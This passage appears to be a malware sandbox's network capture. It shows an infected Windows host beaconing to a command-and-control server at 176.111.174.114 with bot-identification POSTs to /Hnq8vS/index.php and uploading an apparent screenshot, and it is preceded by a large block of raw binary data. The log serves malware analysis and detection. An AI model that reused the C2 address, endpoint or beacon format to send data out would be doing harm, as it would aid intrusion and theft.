f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:21.709903955 CEST	4142	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:21.711399078 CEST	4155	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:21.807657003 CEST	4164	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:21.808022976 CEST	4185	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:23:21.809000015 CEST	4188	OUT	Data Raw: 1e eb b7 11 c3 a2 f8 3e fe 79 5b ee 6d b3 6d bf f7 d7 dd af 42 d2 fe 2a eb 1a 7e d4 d2 b4 8d 3e d9 3f ba b0 6e af 59 f8 3f f1 2f c7 1a a6 a9 07 fc 4c 42 0d eb fb b8 e2 db b6 be 77 35 cf 73 7c 1d 19 4e 95 28 fd e7 bf 91 53 cb f3 6c c2 38 6a b5 a5 Data Ascii: >y[mmB*~>?nY?/LBw5s\|N(Sl8jvGxB\|%_7~5\|rt(m}\|bU'&MgFk_m>vbEX_/MWG.#pf_Rrj#{y>&\|p&fUl7k?>
Apr 28, 2021 23:23:21.809065104 CEST	4204	OUT	Data Raw: 12 5e eb de 18 f8 67 a3 78 3a c6 ed d0 db f8 6f c3 d7 37 b3 59 59 05 40 a5 62 7b fb 9b 9b 82 09 05 8f 99 33 9c b1 c1 03 0a 3d 4c 0d 4c e2 78 cb 57 56 a6 94 bb 5d fb f2 e5 6f 6f b1 cb b6 97 bd ed 65 7f 2f 1b 0c a6 18 56 e8 3b ce eb d2 dc aa ff 00 Data Ascii: ^gx:o7YY@b{3=LLxWV]ooe/V;\|rmRSdg5!ScNT~6mjJ*O/}"uZm^<z<z>9NOjHdQ'%&i%jb;S3iO1_g<
Apr 28, 2021 23:23:21.810157061 CEST	4212	OUT	Data Raw: 79 35 46 68 37 76 4a 37 6e db 4f a4 61 ba 82 c9 69 a8 31 90 69 9b d7 d6 9e 87 39 26 aa 26 52 d8 b0 9d 69 b4 53 4e ff 00 ff 00 55 51 03 a9 e9 f7 6a 34 ff 00 59 52 d0 4c 87 7f 0f dc a0 7f b9 4b b6 49 3a d1 e5 7b 1a da 24 8b 53 47 de a0 55 db 53 c7 Data Ascii: y5Fh7vJ7nOai1i9&&RiSNUQj4YRLKI:{$SGUSCz>zS0qWt}xDLOS']1*tjx>XCv9owOPG&Vsns;m#I?~Ze(m-u4{wH SjD
Apr 28, 2021 23:23:21.905405045 CEST	4219	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k
Apr 28, 2021 23:23:21.905447006 CEST	4221	OUT	Data Raw: 76 7e ce 1e 15 5f fb 72 6f fe 2a ae c5 fb 0a fe c7 eb b5 13 f6 6f f0 9e 3f eb c2 b2 96 71 4f f9 0b 8d 3a b2 3f 9f 99 60 55 fb af 51 ec 93 fe 7a 57 f4 2b 6f fb 09 fe c7 fe 62 ef fd 9b fc 2d b7 fe bc 2a ed bf ec 2d fb 1e 74 4f d9 c3 c2 79 ff 00 af Data Ascii: v~_roo?qO:?`UQzW+ob--tOyyN?`#KvU%+! b3kCw?x%>>k-dejklk}c<E)`~F{3\|Gn><5'\4TE?j?v+ShW1
Apr 28, 2021 23:23:21.905603886 CEST	4224	OUT	Data Raw: fb de 28 e6 89 dd 46 4a 2c a8 cc 00 60 4f dd 9f f0 4c 2f 87 f7 fe 27 fd 93 3e 10 f8 ef 4f f8 0f f1 0f c4 73 78 43 f6 b4 d6 35 18 3c 75 e1 7b d1 1e 89 e0 06 5d 23 40 65 d6 35 e8 cd a3 89 f4 f8 4a 09 9e 33 79 a7 86 48 25 53 70 03 12 bc 17 c3 8f d8 Data Ascii: (FJ,`OL/'>OsxC5<u{]#@e5J3yH%SpW_mq69okk\|GoeeP@DX_3PT[\|7&=nBKi-M/w?_l~>cIV[H^8HMhU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	176.111.174.114	80	192.168.2.5	49929	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.662046909 CEST	4123	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.5	49935	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.870731115 CEST	4213	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	176.111.174.114	80	192.168.2.5	49935	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.969450951 CEST	4308	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	176.111.174.114	80	192.168.2.5	49930	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:22.011081934 CEST	4310	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.5	49937	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:22.185175896 CEST	4579	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	176.111.174.114	80	192.168.2.5	49937	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:22.284329891 CEST	5190	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49730	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:29.420516014 CEST	1582	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.5	49938	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:22.501430035 CEST	6970	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	176.111.174.114	80	192.168.2.5	49938	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:22.604742050 CEST	6970	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.5	49939	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.008260012 CEST	6971	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	176.111.174.114	80	192.168.2.5	49939	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.113537073 CEST	6971	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.5	49941	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.361613989 CEST	6972	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	176.111.174.114	80	192.168.2.5	49941	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.470047951 CEST	6972	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.5	49942	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.687402964 CEST	6973	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	176.111.174.114	80	192.168.2.5	49942	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:23.791141033 CEST	6974	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.5	49943	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:24.294979095 CEST	6974	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	176.111.174.114	80	192.168.2.5	49943	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:24.407129049 CEST	6975	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	176.111.174.114	80	192.168.2.5	49730	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:29.522979975 CEST	1583	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.5	49944	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:25.535655975 CEST	6975	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.5	49945	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:25.633825064 CEST	6989	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 